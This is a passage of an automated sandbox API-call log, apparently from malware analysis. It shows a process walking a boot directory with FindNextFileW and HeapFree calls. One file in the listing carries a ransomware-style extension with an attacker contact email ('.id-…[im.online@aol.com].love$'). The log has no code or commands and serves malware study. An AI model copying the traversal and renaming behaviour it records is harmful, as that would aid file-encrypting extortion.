out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa9ee7633, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa9ee7633, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa9ee7633, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0xf18, dwReserved0=0x0, dwReserved1=0x240000, cFileName="header.bmp.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="HEADER~1.LOV")) returned 1 [0283.315] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3730070 | out: hHeap=0x4e0000) returned 1 [0283.315] FindNextFileW (in: hFindFile=0x4f9e28, lpFindFileData=0x2e7fcf8 | out: lpFindFileData=0x2e7fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76e90000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0283.316] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.316] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0283.317] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.317] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0283.317] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.317] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0283.409] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.409] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0283.410] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.410] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-GB", cAlternateFileName="")) returned 1 [0283.410] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.410] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0283.410] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.410] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0283.411] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.411] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0283.411] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.411] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0283.411] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.411] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0283.412] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.412] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0283.413] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.413] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-CA", cAlternateFileName="")) returned 1 [0283.413] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.413] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010bc12, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ade2b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0283.414] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.414] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48a0490, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0283.414] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.414] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010c5ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5c171b, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0283.414] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.414] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="it-IT", cAlternateFileName="")) returned 1 [0283.415] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.415] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010d0c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5ed6c6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0283.415] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.415] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48c6596, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5fc210, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef5fc210, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0283.416] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.416] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0283.416] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.416] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48ec805, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc48ec805, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0283.416] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.416] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48ec805, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6196d8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xfbcf473f, ftLastWriteTime.dwHighDateTime=0x1d2fa06, nFileSizeHigh=0x0, nFileSizeLow=0xc63a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0283.417] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.417] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010e4fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6407cf, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0283.417] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.417] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65403a, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef65403a, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0283.417] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.417] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6678d6, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0283.418] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.418] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0283.418] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.418] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f640, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef684d85, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="qps-ploc", cAlternateFileName="")) returned 1 [0283.418] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.418] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ab61e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9abff9, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Resources", cAlternateFileName="RESOUR~1")) returned 1 [0283.419] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3d70948 | out: hHeap=0x4e0000) returned 1 [0283.419] FindNextFileW (in: hFindFile=0x543e50, lpFindFileData=0x2e7f800 | out: lpFindFileData=0x2e7f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01ac01e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef9baa67, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0283.419] FindClose (in: hFindFile=0x543e50 | out: hFindFile=0x543e50) returned 1 [0283.419] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.420] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0283.420] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.420] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef698608, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef698608, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0283.420] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.420] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4938cb0, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0283.420] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.421] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0283.421] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.421] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0x5168548b, ftLastAccessTime.dwHighDateTime=0x1d3271b, ftLastWriteTime.dwLowDateTime=0x5168548b, ftLastWriteTime.dwHighDateTime=0x1d3271b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1 [0283.421] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.421] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc495eef9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sr-Latn-RS", cAlternateFileName="SR-LAT~2")) returned 1 [0283.421] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.421] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa01adf43, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6a2250, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="sv-SE", cAlternateFileName="")) returned 1 [0283.424] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.424] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206504, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6b5aca, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="tr-TR", cAlternateFileName="")) returned 1 [0283.427] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.427] FindNextFileW (in: hFindFile=0x543d90, lpFindFileData=0x2e7fa7c | out: lpFindFileData=0x2e7fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc495eef9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0206a30, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc495eef9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="uk-UA", cAlternateFileName="")) returned 1 [0283.427] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x3740078 | out: hHeap=0x4e0000) returned 1 [0283.427] FindNextFileW (in: hFindFile=0x543d90, 